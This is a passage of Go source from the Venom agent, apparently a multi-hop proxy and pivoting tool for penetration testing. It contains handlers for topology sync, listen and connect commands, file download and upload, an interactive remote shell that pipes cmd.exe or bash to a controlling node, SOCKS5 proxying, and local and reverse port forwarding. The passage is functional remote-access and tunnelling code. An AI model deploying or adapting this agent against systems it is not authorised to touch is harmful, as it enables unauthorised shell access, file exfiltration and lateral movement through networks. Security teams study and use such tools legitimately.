&tempSyncPacket) 98 | 99 | node.GNetworkTopology.ResolveNetworkMapData(tempSyncPacket.NetworkMap) 100 | } 101 | } 102 | 103 | // 生成路由表 104 | node.GNetworkTopology.UpdateRouteTable() 105 | 106 | // fmt.Println("RouteTable", node.GNetworkTopology.RouteTable) 107 | 108 | // 创建Node结构体 109 | for key, value := range node.GNetworkTopology.RouteTable { 110 | if _, ok := node.Nodes[key]; !ok { 111 | // node.Nodes[key] = &node.Node{ 112 | // HashID: key, 113 | // Conn: node.Nodes[value].Conn, 114 | // ConnReadLock: &sync.Mutex{}, 115 | // ConnWriteLock: &sync.Mutex{}, 116 | // // Socks5SessionIDLock: &sync.Mutex{}, 117 | // // Socks5DataBufferLock: &sync.RWMutex{}, 118 | // } 119 | // node.Nodes[key].InitDataBuffer() 120 | 121 | node.Nodes[key] = node.NewNode( 122 | 0, 123 | key, 124 | node.Nodes[value].Conn, 125 | false, 126 | ) 127 | } 128 | } 129 | 130 | // // 生成节点信息 131 | // node.GNodeInfo.UpdateNoteInfo() 132 | 133 | packetHeader = protocol.PacketHeader{ 134 | Separator: global.PROTOCOL_SEPARATOR, 135 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 136 | DstHashID: packetHeader.SrcHashID, 137 | CmdType: protocol.SYNC, 138 | } 139 | networkMap = node.GNetworkTopology.GenerateNetworkMapData() 140 | syncPacket = protocol.SyncPacket{ 141 | NetworkMapLen: uint64(len(networkMap)), 142 | NetworkMap: networkMap, 143 | } 144 | nextNode.WritePacket(packetHeader, syncPacket) 145 | 146 | // fmt.Println(node.CurrentNode.HashID) 147 | // fmt.Println(node.GNetworkTopology.RouteTable) 148 | // fmt.Println(node.GNetworkTopology.NetworkMap) 149 | } 150 | } 151 | 152 | func handleListenCmd() { 153 | for { 154 | var packetHeader protocol.PacketHeader 155 | var listenPacketCmd protocol.ListenPacketCmd 156 | node.CurrentNode.CommandBuffers[protocol.LISTEN].ReadPacket(&packetHeader, &listenPacketCmd) 157 | 158 | // adminNode := node.Nodes[node.GNetworkTopology.RouteTable[utils.Array32ToUUID(packetHeader.SrcHashID)]] 159 | 160 | // 网络拓扑同步完成之后即可直接使用以及构造好的节点结构体 161 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 162 | 163 | err := netio.InitNode( 164 | "listen", 165 | fmt.Sprintf("0.0.0.0:%d", listenPacketCmd.Port), 166 | AgentServer, false, 0) 167 | 168 | var listenPacketRet protocol.ListenPacketRet 169 | if err != nil { 170 | listenPacketRet.Success = 0 171 | listenPacketRet.Msg = []byte(fmt.Sprintf("%s", err)) 172 | } else { 173 | listenPacketRet.Success = 1 174 | } 175 | listenPacketRet.MsgLen = uint32(len(listenPacketRet.Msg)) 176 | packetHeader = protocol.PacketHeader{ 177 | Separator: global.PROTOCOL_SEPARATOR, 178 | CmdType: protocol.LISTEN, 179 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 180 | DstHashID: packetHeader.SrcHashID, 181 | } 182 | adminNode.WritePacket(packetHeader, listenPacketRet) 183 | } 184 | } 185 | 186 | func handleConnectCmd() { 187 | for { 188 | var packetHeader protocol.PacketHeader 189 | var connectPacketCmd protocol.ConnectPacketCmd 190 | 191 | node.CurrentNode.CommandBuffers[protocol.CONNECT].ReadPacket(&packetHeader, &connectPacketCmd) 192 | 193 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 194 | 195 | err := netio.InitNode( 196 | "connect", 197 | fmt.Sprintf("%s:%d", utils.Uint32ToIp(connectPacketCmd.IP).String(), connectPacketCmd.Port), 198 | AgentClient, false, 0) 199 | 200 | var connectPacketRet protocol.ConnectPacketRet 201 | if err != nil { 202 | connectPacketRet.Success = 0 203 | connectPacketRet.Msg = []byte(fmt.Sprintf("%s", err)) 204 | } else { 205 | connectPacketRet.Success = 1 206 | } 207 | connectPacketRet.MsgLen = uint32(len(connectPacketRet.Msg)) 208 | packetHeader = protocol.PacketHeader{ 209 | Separator: global.PROTOCOL_SEPARATOR, 210 | CmdType: protocol.CONNECT, 211 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 212 | DstHashID: packetHeader.SrcHashID, 213 | } 214 | adminNode.WritePacket(packetHeader, connectPacketRet) 215 | } 216 | } 217 | 218 | func handleDownloadCmd() { 219 | for { 220 | var packetHeader protocol.PacketHeader 221 | var downloadPacketCmd protocol.DownloadPacketCmd 222 | 223 | node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&packetHeader, &downloadPacketCmd) 224 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 225 | filePath := string(downloadPacketCmd.Path) 226 | 227 | var downloadPacketRet protocol.DownloadPacketRet 228 | var file *os.File 229 | var fileSize int64 230 | // 如果文件存在,则下载 231 | if utils.FileExists(filePath) { 232 | if !utils.IsDir(filePath) { 233 | var err error 234 | file, err = os.Open(filePath) 235 | if err != nil { 236 | downloadPacketRet.Success = 0 237 | downloadPacketRet.Msg = []byte(fmt.Sprintf("%s", err)) 238 | } else { 239 | defer file.Close() 240 | downloadPacketRet.Success = 1 241 | fileSize = utils.GetFileSize(filePath) 242 | downloadPacketRet.FileLen = uint64(fileSize) 243 | } 244 | } else { 245 | downloadPacketRet.Success = 0 246 | downloadPacketRet.Msg = []byte(fmt.Sprintf("%s", ERR_PATH_IS_DIR)) 247 | } 248 | } else { 249 | downloadPacketRet.Success = 0 250 | downloadPacketRet.Msg = []byte(fmt.Sprintf("%s", ERR_FILE_NOT_EXISTS)) 251 | } 252 | 253 | downloadPacketRet.MsgLen = uint32(len(downloadPacketRet.Msg)) 254 | 255 | var retPacketHeader protocol.PacketHeader 256 | retPacketHeader.CmdType = protocol.DOWNLOAD 257 | retPacketHeader.Separator = global.PROTOCOL_SEPARATOR 258 | retPacketHeader.SrcHashID = packetHeader.DstHashID 259 | retPacketHeader.DstHashID = packetHeader.SrcHashID 260 | 261 | adminNode.WritePacket(retPacketHeader, downloadPacketRet) 262 | 263 | if downloadPacketRet.Success == 0 { 264 | continue 265 | } 266 | 267 | var cmdPacketHeader protocol.PacketHeader 268 | node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&cmdPacketHeader, &downloadPacketCmd) 269 | 270 | if downloadPacketCmd.StillDownload == 0 { 271 | continue 272 | } 273 | 274 | adminNode.WritePacket(retPacketHeader, downloadPacketRet) 275 | 276 | var dataBlockSize = uint64(global.MAX_PACKET_SIZE - 4) 277 | loop := int64(downloadPacketRet.FileLen / dataBlockSize) 278 | remainder := downloadPacketRet.FileLen % dataBlockSize 279 | 280 | var size int64 281 | for ; loop >= 0; loop-- { 282 | var buf []byte 283 | if loop > 0 { 284 | buf = make([]byte, dataBlockSize) 285 | } else { 286 | buf = make([]byte, remainder) 287 | } 288 | n, err := io.ReadFull(file, buf) 289 | if n > 0 { 290 | size += int64(n) 291 | dataPacket := protocol.FileDataPacket{ 292 | DataLen: uint32(n), 293 | Data: buf[0:n], 294 | } 295 | retPacketHeader := protocol.PacketHeader{ 296 | Separator: global.PROTOCOL_SEPARATOR, 297 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 298 | DstHashID: packetHeader.SrcHashID, 299 | CmdType: protocol.DOWNLOAD, 300 | } 301 | adminNode.WritePacket(retPacketHeader, dataPacket) 302 | } 303 | if err != nil { 304 | if err != io.EOF { 305 | log.Println("[-]Read file error") 306 | } 307 | break 308 | } 309 | } 310 | } 311 | } 312 | 313 | func handleUploadCmd() { 314 | for { 315 | /* ------ before upload ------- */ 316 | var packetHeader protocol.PacketHeader 317 | var uploadPacketCmd protocol.UploadPacketCmd 318 | node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeader, &uploadPacketCmd) 319 | 320 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 321 | 322 | packetHeaderRet := protocol.PacketHeader{ 323 | CmdType: protocol.UPLOAD, 324 | Separator: global.PROTOCOL_SEPARATOR, 325 | SrcHashID: packetHeader.DstHashID, 326 | DstHashID: packetHeader.SrcHashID, 327 | } 328 | 329 | var uploadPacketRet protocol.UploadPacketRet 330 | 331 | var filePath = string(uploadPacketCmd.Path) 332 | 333 | var file *os.File 334 | // 如果文件不存在,则上传 335 | if !utils.FileExists(filePath) { 336 | var err error 337 | file, err = os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE, 0644) 338 | if err != nil { 339 | uploadPacketRet.Success = 0 340 | uploadPacketRet.Msg = []byte(fmt.Sprintf("%s", err)) 341 | } else { 342 | uploadPacketRet.Success = 1 343 | defer file.Close() 344 | } 345 | } else { 346 | uploadPacketRet.Success = 0 347 | uploadPacketRet.Msg = []byte(fmt.Sprintf("%s %s", filePath, ERR_FILE_EXISTS)) 348 | } 349 | uploadPacketRet.MsgLen = uint32(len(uploadPacketRet.Msg)) 350 | 351 | adminNode.WritePacket(packetHeaderRet, uploadPacketRet) 352 | 353 | if uploadPacketRet.Success == 0 || file == nil { 354 | continue 355 | } 356 | 357 | // /* ----- upload file -------- */ 358 | node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeader, &uploadPacketCmd) 359 | 360 | var uploadPacketRet2 protocol.UploadPacketRet 361 | 362 | var dataBlockSize = uint64(global.MAX_PACKET_SIZE - 4) 363 | loop := int64(uploadPacketCmd.FileLen / dataBlockSize) 364 | remainder := uploadPacketCmd.FileLen % dataBlockSize 365 | for loop >= 0 { 366 | if loop != 0 || (loop == 0 && remainder != 0) { 367 | var fileDataPacket protocol.FileDataPacket 368 | var packetHeaderRet protocol.PacketHeader 369 | node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeaderRet, &fileDataPacket) 370 | _, err := file.Write(fileDataPacket.Data) 371 | if err != nil { 372 | uploadPacketRet2.Success = 0 373 | uploadPacketRet2.Msg = []byte(fmt.Sprintf("%s", err)) 374 | } 375 | } 376 | loop-- 377 | } 378 | file.Close() 379 | 380 | uploadPacketRet2.Success = 1 381 | uploadPacketRet2.MsgLen = uint32(len(uploadPacketRet.Msg)) 382 | adminNode.WritePacket(packetHeaderRet, uploadPacketRet2) 383 | } 384 | } 385 | 386 | func handleShellCmd() { 387 | 388 | for { 389 | 390 | var packetHeader protocol.PacketHeader 391 | var shellPacketCmd protocol.ShellPacketCmd 392 | 393 | node.CurrentNode.CommandBuffers[protocol.SHELL].ReadPacket(&packetHeader, &shellPacketCmd) 394 | 395 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 396 | 397 | if shellPacketCmd.Start != 1 { 398 | continue 399 | } 400 | 401 | var cmd *exec.Cmd 402 | 403 | switch utils.GetSystemType() { 404 | // windows 405 | case 0x01: 406 | cmd = exec.Command("c:\\windows\\system32\\cmd.exe") 407 | // mac , linux, others 408 | default: 409 | if runtime.GOARCH == "386" || runtime.GOARCH == "amd64" { 410 | cmd = exec.Command("/bin/bash", "-i") 411 | } else { 412 | cmd = exec.Command("/bin/sh", "-i") 413 | } 414 | } 415 | 416 | out, _ := cmd.StdoutPipe() 417 | in, _ := cmd.StdinPipe() 418 | cmd.Stderr = cmd.Stdout 419 | 420 | if err := cmd.Start(); err != nil { 421 | // log.Fatal(err) 422 | shellPacketRet := protocol.ShellPacketRet{ 423 | Success: 0, 424 | } 425 | packetHeaderRet := protocol.PacketHeader{ 426 | Separator: global.PROTOCOL_SEPARATOR, 427 | CmdType: protocol.SHELL, 428 | SrcHashID: packetHeader.DstHashID, 429 | DstHashID: packetHeader.SrcHashID, 430 | } 431 | adminNode.WritePacket(packetHeaderRet, shellPacketRet) 432 | continue 433 | } 434 | 435 | shellPacketRet := protocol.ShellPacketRet{ 436 | Success: 1, 437 | } 438 | packetHeaderRet := protocol.PacketHeader{ 439 | Separator: global.PROTOCOL_SEPARATOR, 440 | CmdType: protocol.SHELL, 441 | SrcHashID: packetHeader.DstHashID, 442 | DstHashID: packetHeader.SrcHashID, 443 | } 444 | adminNode.WritePacket(packetHeaderRet, shellPacketRet) 445 | 446 | c := make(chan bool, 2) 447 | go CopyNode2StdinPipe(adminNode, in, c, cmd) 448 | go CopyStdoutPipe2Node(out, adminNode, c) 449 | <-c 450 | <-c 451 | cmd.Wait() 452 | 453 | // exit 454 | ShellPacketRet := protocol.ShellPacketRet{ 455 | Success: 0, 456 | } 457 | packetHeader = protocol.PacketHeader{ 458 | Separator: global.PROTOCOL_SEPARATOR, 459 | CmdType: protocol.SHELL, 460 | SrcHashID: packetHeader.DstHashID, 461 | DstHashID: packetHeader.SrcHashID, 462 | } 463 | adminNode.WritePacket(packetHeader, ShellPacketRet) 464 | } 465 | } 466 | 467 | // handleSocks5Cmd 从node.CommandBuffers[protocol.SOCKS]中读取命令并处理 468 | func handleSocks5Cmd() { 469 | for { 470 | // 启动socks5的命令数据包 471 | var packetHeader protocol.PacketHeader 472 | var socks5ControlCmd protocol.Socks5ControlPacketCmd 473 | node.CurrentNode.CommandBuffers[protocol.SOCKS].ReadPacket(&packetHeader, &socks5ControlCmd) 474 | 475 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 476 | 477 | // 初始化对应SessionID的Buffer 478 | adminNode.DataBuffers[protocol.SOCKSDATA].NewDataBuffer(socks5ControlCmd.SessionID) 479 | 480 | // 返回启动成功命令 481 | socks5ControlRet := protocol.Socks5ControlPacketRet{ 482 | Success: 1, 483 | } 484 | packetHeaderRet := protocol.PacketHeader{ 485 | Separator: global.PROTOCOL_SEPARATOR, 486 | CmdType: protocol.SOCKS, 487 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 488 | DstHashID: packetHeader.SrcHashID, 489 | } 490 | adminNode.WritePacket(packetHeaderRet, socks5ControlRet) 491 | 492 | go func() { 493 | defer func() { 494 | socks5CloseData := protocol.NetDataPacket{ 495 | SessionID: socks5ControlCmd.SessionID, 496 | Close: 1, 497 | } 498 | packetHeader := protocol.PacketHeader{ 499 | Separator: global.PROTOCOL_SEPARATOR, 500 | CmdType: protocol.SOCKSDATA, 501 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 502 | DstHashID: utils.UUIDToArray32(adminNode.HashID), 503 | } 504 | adminNode.WritePacket(packetHeader, socks5CloseData) 505 | 506 | // adminNode.DataBuffers[protocol.SOCKSDATA].RealseDataBuffer(socks5ControlCmd.SessionID) 507 | // runtime.GC() 508 | }() 509 | if err := AgentHandShake(adminNode, socks5ControlCmd.SessionID); err != nil { 510 | log.Println("[-]Socks handshake error:", err) 511 | return 512 | } 513 | addr, err := AgentParseTarget(adminNode, socks5ControlCmd.SessionID) 514 | if err != nil { 515 | log.Println("[-]Socks consult transfer mode or parse target error:", err) 516 | return 517 | } 518 | PipeWhenClose(adminNode, socks5ControlCmd.SessionID, addr) 519 | }() 520 | } 521 | } 522 | 523 | func handleLForwardCmd() { 524 | for { 525 | var packetHeader protocol.PacketHeader 526 | var lforwardPacketCmd protocol.NetLForwardPacketCmd 527 | node.CurrentNode.CommandBuffers[protocol.LFORWARD].ReadPacket(&packetHeader, &lforwardPacketCmd) 528 | 529 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 530 | 531 | dport := lforwardPacketCmd.DstPort 532 | 533 | err := netio.InitTCP( 534 | "listen", 535 | fmt.Sprintf("0.0.0.0:%d", dport), 536 | adminNode.HashID, 537 | localLForwardServer, 538 | lforwardPacketCmd.LHost, 539 | lforwardPacketCmd.SrcPort, 540 | ) 541 | 542 | lforwardPacketRet := protocol.NetLForwardPacketRet{ 543 | SessionID: 0, 544 | Success: 1, 545 | } 546 | packetHeaderRet := protocol.PacketHeader{ 547 | Separator: global.PROTOCOL_SEPARATOR, 548 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 549 | DstHashID: utils.UUIDToArray32(adminNode.HashID), 550 | CmdType: protocol.LFORWARD, 551 | } 552 | 553 | if err != nil { 554 | log.Println("[-]LForward tcp listen error") 555 | lforwardPacketRet.Success = 0 556 | node.Nodes[adminNode.HashID].WritePacket(packetHeaderRet, lforwardPacketRet) 557 | } 558 | } 559 | } 560 | 561 | func localLForwardServer(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) { 562 | // fmt.Println("localLForwardServer") 563 | // defer conn.Close() 564 | adminNode := node.Nodes[peerNodeID] 565 | currentSessionID := adminNode.DataBuffers[protocol.LFORWARDDATA].GetSessionID() 566 | 567 | defer func() { 568 | // fmt.Println("################ agent close ################") 569 | 570 | lforwardDataPacketCloseData := protocol.NetDataPacket{ 571 | SessionID: currentSessionID, 572 | Close: 1, 573 | } 574 | packetHeader := protocol.PacketHeader{ 575 | Separator: global.PROTOCOL_SEPARATOR, 576 | CmdType: protocol.LFORWARDDATA, 577 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 578 | DstHashID: utils.UUIDToArray32(adminNode.HashID), 579 | } 580 | adminNode.WritePacket(packetHeader, lforwardDataPacketCloseData) 581 | 582 | // adminNode.DataBuffers[protocol.LFORWARDDATA].RealseDataBuffer(currentSessionID) 583 | // runtime.GC() 584 | }() 585 | 586 | adminNode.DataBuffers[protocol.LFORWARDDATA].NewDataBuffer(currentSessionID) 587 | 588 | lforwardPacketRet := protocol.NetLForwardPacketRet{ 589 | SessionID: currentSessionID, 590 | Success: 1, 591 | LHost: args[0].([]interface{})[0].(uint32), 592 | SrcPort: args[0].([]interface{})[1].(uint16), 593 | } 594 | packetHeaderRet := protocol.PacketHeader{ 595 | Separator: global.PROTOCOL_SEPARATOR, 596 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 597 | DstHashID: utils.UUIDToArray32(adminNode.HashID), 598 | CmdType: protocol.LFORWARD, 599 | } 600 | adminNode.WritePacket(packetHeaderRet, lforwardPacketRet) 601 | 602 | c := make(chan bool, 2) 603 | 604 | // 从node DataBuffer中读取数据,发送给客户端 605 | go node.CopyNet2Node(conn, adminNode, currentSessionID, protocol.LFORWARDDATA, c) 606 | go node.CopyNode2Net(adminNode, conn, currentSessionID, protocol.LFORWARDDATA, c) 607 | 608 | // exit 609 | <-c 610 | <-done 611 | } 612 | 613 | func handleRForwardCmd() { 614 | for { 615 | // 启动socks5的命令数据包 616 | var packetHeader protocol.PacketHeader 617 | var rforwardPacketCmd protocol.NetRForwardPacketCmd 618 | node.CurrentNode.CommandBuffers[protocol.RFORWARD].ReadPacket(&packetHeader, &rforwardPacketCmd) 619 | 620 | adminNode := node.Nodes[utils.Array32ToUUID(packetHeader.SrcHashID)] 621 | 622 | rhost := utils.Uint32ToIp(rforwardPacketCmd.RHost).String() 623 | sport := rforwardPacketCmd.SrcPort 624 | 625 | err := netio.InitTCP( 626 | "connect", 627 | fmt.Sprintf("%s:%d", rhost, sport), 628 | adminNode.HashID, 629 | func(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) { 630 | rforwardPacketRet := protocol.NetRForwardPacketRet{ 631 | Success: 1, 632 | } 633 | packetHeaderRet := protocol.PacketHeader{ 634 | Separator: global.PROTOCOL_SEPARATOR, 635 | CmdType: protocol.RFORWARD, 636 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 637 | DstHashID: utils.UUIDToArray32(adminNode.HashID), 638 | } 639 | adminNode.WritePacket(packetHeaderRet, rforwardPacketRet) 640 | 641 | currentSessionID := rforwardPacketCmd.SessionID 642 | adminNode.DataBuffers[protocol.RFORWARDDATA].NewDataBuffer(currentSessionID) 643 | defer func() { 644 | closeData := protocol.NetDataPacket{ 645 | SessionID: currentSessionID, 646 | Close: 1, 647 | } 648 | packetHeader := protocol.PacketHeader{ 649 | Separator: global.PROTOCOL_SEPARATOR, 650 | CmdType: protocol.RFORWARDDATA, 651 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 652 | DstHashID: utils.UUIDToArray32(adminNode.HashID), 653 | } 654 | adminNode.WritePacket(packetHeader, closeData) 655 | }() 656 | c := make(chan bool, 2) 657 | 658 | go node.CopyNode2Net(adminNode, conn, currentSessionID, protocol.RFORWARDDATA, c) 659 | go node.CopyNet2Node(conn, adminNode, currentSessionID, protocol.RFORWARDDATA, c) 660 | 661 | <-c 662 | }) 663 | 664 | if err != nil { 665 | rforwardPacketRet := protocol.NetRForwardPacketRet{ 666 | Success: 0, 667 | } 668 | packetHeaderRet := protocol.PacketHeader{ 669 | Separator: global.PROTOCOL_SEPARATOR, 670 | CmdType: protocol.RFORWARD, 671 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 672 | DstHashID: utils.UUIDToArray32(adminNode.HashID), 673 | } 674 | adminNode.WritePacket(packetHeaderRet, rforwardPacketRet) 675 | } 676 | } 677 | } 678 | -------------------------------------------------------------------------------- /agent/dispather/proxy.go: -------------------------------------------------------------------------------- 1 | package dispather 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "log" 7 | "net" 8 | "strconv" 9 | "time" 10 | 11 | "github.com/Dliv3/Venom/global" 12 | "github.com/Dliv3/Venom/node" 13 | "github.com/Dliv3/Venom/protocol" 14 | "github.com/Dliv3/Venom/utils" 15 | ) 16 | 17 | var ( 18 | Commands = []string{"CONNECT", "BIND", "UDP ASSOCIATE"} 19 | AddrType = []string{"", "IPv4", "", "Domain", "IPv6"} 20 | Conns = make([]net.Conn, 0) 21 | Verbose = false 22 | 23 | errAddrType = errors.New("socks addr type not supported") 24 | errVer = errors.New("socks version not supported") 25 | errMethod = errors.New("socks only support noauth method") 26 | errAuthExtraData = errors.New("socks authentication get extra data") 27 | errReqExtraData = errors.New("socks request get extra data") 28 | errCmd = errors.New("socks only support connect command") 29 | ) 30 | 31 | const ( 32 | socksVer5 = 0x05 33 | socksCmdConnect = 0x01 34 | ) 35 | 36 | func AgentHandShake(peerNode *node.Node, currentSessionID uint16) (err error) { 37 | const ( 38 | idVer = 0 39 | idNmethod = 1 40 | ) 41 | 42 | var n int 43 | 44 | buf, err := peerNode.DataBuffers[protocol.SOCKSDATA].GetDataBuffer(currentSessionID).ReadBytes() 45 | if err != nil { 46 | return err 47 | } 48 | 49 | n = len(buf) 50 | 51 | if buf[idVer] != socksVer5 { 52 | return errVer 53 | } 54 | 55 | nmethod := int(buf[idNmethod]) // client support auth mode 56 | msgLen := nmethod + 2 // auth msg length 57 | if n == msgLen { // handshake done, common case 58 | // do nothing, jump directly to send confirmation 59 | } else if n < msgLen { // has more methods to read, rare case 60 | buf, err = peerNode.DataBuffers[protocol.SOCKSDATA].GetDataBuffer(currentSessionID).ReadBytes() 61 | if err != nil { 62 | return err 63 | } 64 | } else { // error, should not get extra data 65 | return errAuthExtraData 66 | } 67 | /* 68 | X'00' NO AUTHENTICATION REQUIRED 69 | X'01' GSSAPI 70 | X'02' USERNAME/PASSWORD 71 | X'03' to X'7F' IANA ASSIGNED 72 | X'80' to X'FE' RESERVED FOR PRIVATE METHODS 73 | X'FF' NO ACCEPTABLE METHODS 74 | */ 75 | // send confirmation: version 5, no authentication required 76 | // _, err = conn.Write([]byte{socksVer5, 0}) 77 | buf = []byte{socksVer5, 0} 78 | socks5Data := protocol.NetDataPacket{ 79 | SessionID: currentSessionID, 80 | DataLen: uint32(len(buf)), 81 | Data: buf, 82 | } 83 | size, _ := utils.PacketSize(socks5Data) 84 | packetHeader := protocol.PacketHeader{ 85 | Separator: global.PROTOCOL_SEPARATOR, 86 | CmdType: protocol.SOCKSDATA, 87 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 88 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 89 | DataLen: size, 90 | } 91 | peerNode.WritePacket(packetHeader, socks5Data) 92 | return 93 | } 94 | 95 | func AgentParseTarget(peerNode *node.Node, currentSessionID uint16) (host string, err error) { 96 | const ( 97 | idVer = 0 98 | idCmd = 1 99 | idType = 3 // address type index 100 | idIP0 = 4 // ip addres start index 101 | idDmLen = 4 // domain address length index 102 | idDm0 = 5 // domain address start index 103 | 104 | typeIPv4 = 1 // type is ipv4 address 105 | typeDm = 3 // type is domain address 106 | typeIPv6 = 4 // type is ipv6 address 107 | 108 | lenIPv4 = 3 + 1 + net.IPv4len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv4 + 2port 109 | lenIPv6 = 3 + 1 + net.IPv6len + 2 // 3(ver+cmd+rsv) + 1addrType + ipv6 + 2port 110 | lenDmBase = 3 + 1 + 1 + 2 // 3 + 1addrType + 1addrLen + 2port, plus addrLen 111 | ) 112 | // refer to getRequest in server.go for why set buffer size to 263 113 | // buf := make([]byte, 263) 114 | var n int 115 | 116 | // read till we get possible domain length field 117 | // if n, err = io.ReadAtLeast(conn, buf, idDmLen+1); err != nil { 118 | // return 119 | // } 120 | 121 | buf, err := peerNode.DataBuffers[protocol.SOCKSDATA].GetDataBuffer(currentSessionID).ReadBytes() 122 | if err != nil { 123 | return 124 | } 125 | 126 | n = len(buf) 127 | 128 | // check version and cmd 129 | if buf[idVer] != socksVer5 { 130 | err = errVer 131 | return 132 | } 133 | 134 | /* 135 | CONNECT X'01' 136 | BIND X'02' 137 | UDP ASSOCIATE X'03' 138 | */ 139 | 140 | if buf[idCmd] > 0x03 || buf[idCmd] == 0x00 { 141 | log.Println("Unknown Command", buf[idCmd]) 142 | } 143 | 144 | if Verbose { 145 | log.Println("Command:", Commands[buf[idCmd]-1]) 146 | } 147 | 148 | if buf[idCmd] != socksCmdConnect { // only support CONNECT mode 149 | err = errCmd 150 | return 151 | } 152 | 153 | // read target address 154 | reqLen := -1 155 | switch buf[idType] { 156 | case typeIPv4: 157 | reqLen = lenIPv4 158 | case typeIPv6: 159 | reqLen = lenIPv6 160 | case typeDm: // domain name 161 | reqLen = int(buf[idDmLen]) + lenDmBase 162 | default: 163 | err = errAddrType 164 | return 165 | } 166 | 167 | if n == reqLen { 168 | // common case, do nothing 169 | } else if n < reqLen { // rare case 170 | // if _, err = io.ReadFull(conn, buf[n:reqLen]); err != nil { 171 | // return 172 | // } 173 | var tmp []byte 174 | tmp, err = peerNode.DataBuffers[protocol.SOCKSDATA].GetDataBuffer(currentSessionID).ReadBytes() 175 | if err != nil { 176 | return 177 | } 178 | buf = append(buf, tmp...) 179 | } else { 180 | err = errReqExtraData 181 | return 182 | } 183 | 184 | switch buf[idType] { 185 | case typeIPv4: 186 | host = net.IP(buf[idIP0 : idIP0+net.IPv4len]).String() 187 | case typeIPv6: 188 | host = net.IP(buf[idIP0 : idIP0+net.IPv6len]).String() 189 | case typeDm: 190 | host = string(buf[idDm0 : idDm0+buf[idDmLen]]) 191 | } 192 | port := binary.BigEndian.Uint16(buf[reqLen-2 : reqLen]) 193 | host = net.JoinHostPort(host, strconv.Itoa(int(port))) 194 | return 195 | } 196 | 197 | func PipeWhenClose(peerNode *node.Node, currentSessionID uint16, target string) { 198 | 199 | remoteConn, err := net.DialTimeout("tcp", target, time.Duration(time.Second*2)) 200 | if err != nil { 201 | log.Println("Connect remote :", err) 202 | return 203 | } 204 | 205 | tcpAddr := remoteConn.LocalAddr().(*net.TCPAddr) 206 | if tcpAddr.Zone == "" { 207 | if tcpAddr.IP.Equal(tcpAddr.IP.To4()) { 208 | tcpAddr.Zone = "ip4" 209 | } else { 210 | tcpAddr.Zone = "ip6" 211 | } 212 | } 213 | 214 | // if Verbose { 215 | log.Println("[+]Connect to remote address:", target) 216 | // } 217 | 218 | rep := make([]byte, 256) 219 | rep[0] = 0x05 220 | rep[1] = 0x00 // success 221 | rep[2] = 0x00 //RSV 222 | 223 | //IP 224 | if tcpAddr.Zone == "ip6" { 225 | rep[3] = 0x04 //IPv6 226 | } else { 227 | rep[3] = 0x01 //IPv4 228 | } 229 | 230 | var ip net.IP 231 | if "ip6" == tcpAddr.Zone { 232 | ip = tcpAddr.IP.To16() 233 | } else { 234 | ip = tcpAddr.IP.To4() 235 | } 236 | pindex := 4 237 | for _, b := range ip { 238 | rep[pindex] = b 239 | pindex++ 240 | } 241 | rep[pindex] = byte((tcpAddr.Port >> 8) & 0xff) 242 | rep[pindex+1] = byte(tcpAddr.Port & 0xff) 243 | // conn.Write(rep[0 : pindex+2]) 244 | socks5Data := protocol.NetDataPacket{ 245 | SessionID: currentSessionID, 246 | DataLen: uint32(pindex + 2), 247 | Data: rep[0 : pindex+2], 248 | } 249 | size, _ := utils.PacketSize(socks5Data) 250 | packetHeader := protocol.PacketHeader{ 251 | Separator: global.PROTOCOL_SEPARATOR, 252 | CmdType: protocol.SOCKSDATA, 253 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID), 254 | DstHashID: utils.UUIDToArray32(peerNode.HashID), 255 | DataLen: size, 256 | } 257 | peerNode.WritePacket(packetHeader, socks5Data) 258 | 259 | // 退出处理 260 | defer remoteConn.Close() 261 | 262 | // Transfer data 263 | c := make(chan bool, 2) 264 | 265 | // Copy local to remote 266 | go node.CopyNode2Net(peerNode, remoteConn, currentSessionID, protocol.SOCKSDATA, c) 267 | 268 | // Copy remote to local 269 | go node.CopyNet2Node(remoteConn, peerNode, currentSessionID, protocol.SOCKSDATA, c) 270 | 271 | <-c 272 | } 273 | -------------------------------------------------------------------------------- /agent/dispather/ssh.go: -------------------------------------------------------------------------------- 1 | // +build 386 amd64 2 | 3 | package dispather 4 | 5 | import ( 6 | "fmt" 7 | "net" 8 | "time" 9 | 10 | "github.com/Dliv3/Venom/global" 11 | "github.com/Dliv3/Venom/node" 12 | "github.com/Dliv3/Venom/protocol" 13 | "github.com/Dliv3/Venom/utils" 14 | "golang.org/x/crypto/ssh" 15 | ) 16 | 17 | const TIMEOUT = 5 18 | 19 | func handleSshConnectCmd() { 20 | for { 21 | var packetHeader protocol.PacketHeader 22 | var sshConnectPacketCmd 